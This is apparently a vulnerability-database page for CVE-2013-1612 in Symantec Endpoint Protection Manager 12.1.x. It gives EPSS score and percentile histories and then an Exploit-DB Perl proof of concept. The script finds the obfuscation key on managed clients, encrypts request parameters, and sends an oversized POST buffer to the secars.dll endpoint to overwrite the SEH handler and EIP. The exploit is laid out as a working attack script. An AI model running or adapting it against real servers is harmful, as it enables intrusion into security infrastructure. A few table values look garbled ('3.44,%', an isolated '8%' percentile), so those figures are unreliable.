CVE-2013-1612 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	9.33%	–	–
2022-04-03	–	–	9.33%	–	–
2023-03-12	–	–	–	17.18%	–
2023-05-07	–	–	–	22.45%	–
2024-02-11	–	–	–	0.59%	–
2024-03-17	–	–	–	0.67%	–
2024-03-31	–	–	–	0.68%	–
2024-04-14	–	–	–	0.84%	–
2024-06-02	–	–	–	1.04%	–
2024-09-22	–	–	–	17.18%	–
2025-01-19	–	–	–	18.44%	–
2025-01-19	–	–	–	18.44%	–
2025-03-18	–	–	–	–	3.8%
2025-03-30	–	–	–	–	3.44%
2025-04-15	–	–	–	–	3.44%
2025-04-15	–	–	–	–	3.44,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	87%
2022-04-03	94%
2023-03-12	95%
2023-05-07	96%
2024-02-11	78%
2024-03-17	79%
2024-03-31	8%
2024-04-14	82%
2024-06-02	84%
2024-09-22	96%
2025-01-19	96%
2025-01-19	96%
2025-03-18	87%
2025-03-30	86%
2025-04-15	87%
2025-04-15	87%

# Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33056-sepm-secars-poc-v0.3.tar.gz #!/usr/bin/perl -w # Exploit Title: Symantec Endpoint Protection Manager 12.1.x - SEH Overflow POC # Date: 31 January 2013 # Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com) # Vendor Homepage: http://http://www.symantec.com/en/uk/endpoint-protection # Version: 12.1.0 -> 12.1.2 # Tested on: Windows 2003 Enterprise Edition SP2 # CVE : CVE-2013-1612 # More info on: http://funoverip.net/?p=1693 # #===================================================================================== # # This POC code overwrite EIP with "CCCCCCCC" # # About KCS Key: That key is used to obfuscate traffic between client and server. # The key is generated during SEPM installation. # We need that key to talk with the SEPM server.. # # Where to find KCS Key ? # On a managed client station. Search for "Kcs" inside: # # - Win7/Vista/W2k8/and more : # C:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\CurrentVersion\\Data\\Config\\SyLink.xml # - Windows XP : # C:\\Document & Settings\\All Users\\Application Data\\Symantec\\Symantec Endpoint Protection\\ # CurrentVersion\\Data\\Config\\SyLink.xml # # On server side, check the logs: # C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection Manager\\data\\inbox\\log\\ersecreg.log #===================================================================================== use warnings; use strict; use IO::Socket::INET; use SEPM::SEPM; # SEP Manager host/ip my $host = "192.168.60.186"; my $port = 8014; # Kcs key my $Kcs_hex = "85FB05B288B45D92447A3EDCBEFC434E"; # ---- config end ----- # flush after every write $| = 1; # Send HTTP request function sub send_request { my $param = shift; # URL parameters my $post_data = shift; # POST DATA my $sock = IO::Socket::INET->new("$host:$port"); if($sock){ print "Connected.. \n"; # HTTP request my $req = "POST /secars/secars.dll?h=$param HTTP/1.0\r\n" . "User-Agent: Smc\r\n" . "Host: $host\r\n" . "Content-Length: " . length($post_data) . "\r\n" . "\r\n" . $post_data ; # Sending print $sock $req; # Read HTTP response my $resp = ''; while(<$sock>){ $resp .=$_; } #print $resp; if($resp =~ /400 Bad Request/) { print "\nERROR: Got '400 Bad Request' from the server. Wrong Kcs key ? Wrong SEP version ?\n"; } close $sock; } } # SEP object my $sep = SEPM::SEPM->new(); print "[*] Target: $host:$port\n"; print "[*] KCS Key: $Kcs_hex\n"; # SEPM object for obfuscation print "[*] Generating master encryption key\n"; $sep->genkey($Kcs_hex); # Obfuscate URL parameters print "[*] Encrypting URI\n"; my $h = $sep->obfuscate("l=9&action=26"); # The evil buff print "[*] Building evil buffer\n"; my $buf = "foo=[hex]" . # [hex] call the vulnerable parsing function "F" x 1288 . # Junk "B" x 8 . # Pointer to next SEH record "CCCCCCCC". # SEH Handler, will overwrite EIP register "D" x 500; # Trigger "Memory Access Violation" exception # Sending request print "[*] Sending HTTP request\n"; send_request($h, # URL parameters $buf # post data ); print "[*] Done\n";